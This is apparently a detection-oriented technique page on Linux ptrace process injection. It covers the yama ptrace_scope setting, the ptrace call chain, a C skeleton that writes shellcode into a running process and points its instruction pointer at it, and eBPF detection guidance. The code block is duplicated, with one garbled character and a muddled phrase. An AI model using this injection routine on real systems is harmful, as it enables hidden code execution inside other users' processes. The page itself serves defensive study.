ptrace Injection
Overview
ptrace is the debugging interface the entire Linux tooling ecosystem is built on, which makes it
both the most convenient injection primitive and the most heavily constrained one. An attacher can
read and write any word of the target’s address space and set its registers directly — no separate
allocate/write/execute dance.
Most distributions now ship kernel.yama.ptrace_scope=1, which restricts attaching to descendants
only. Anything higher in a hardened environment makes this technique a non-starter without root.
Check /proc/sys/kernel/yama/ptrace_scope in the lab before concluding a detection works. A rule
validated on a box where scope is 0 proves very little about production.
The call chain
- 1PTRACE_ATTACHAttach to the target pid and stop it; requires matching uid or CAP_SYS_PTRACE.
- 2PTRACE_GETREGSSave the register state so the original execution can be resumed cleanly.
- 3PTRACE_POKETEXTWrite the payload word by word into an executable mapping, usually inside the stack of libc text.
- 4PTRACE_SETREGSPoint RIP at the written bytes.
- 5PTRACE_DETACHResume the process; the payload runs on the borrowed thread.
Reference implementation
ptrace(PTRACE_ATTACH, pid, NULL, NULL); waitpid(pid, &status, 0); struct user_regs_struct saved, regs; ptrace(PTRACE_GETREGS, pid, NULL, &saved); regs = saved; // write the payload a word at a time into an executable mapping for (size_t i = 0; i < len; i += sizeof(long)) ptrace(PTRACE_POKETEXT, pid, target + i, *(long *)(shellcode + i)); regs.rip = (unsigned long)target; ptrace(PTRACE_SETREGS, pid, NULL, ®s); ptrace(PTRACE_DETACH, pid, NULL, NULL);
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, &status, 0);
struct user_regs_struct saved, regs;
ptrace(PTRACE_GETREGS, pid, NULL, &saved);
regs = saved;
// write the payload a word at a time into an executable mapping
for (size_t i = 0; i < len; i += sizeof(long))
ptrace(PTRACE_POKETEXT, pid, target + i, *(long *)(shellcode + i));
regs.rip = (unsigned long)target;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_DETACH, pid, NULL, NULL);Detection
An eBPF tracepoint on sys_enter_ptrace is the cheapest continuous coverage. Allowlist your
debuggers and profilers by executable path, and treat POKETEXT from anything else as high
confidence — legitimate tools overwhelmingly read rather than write.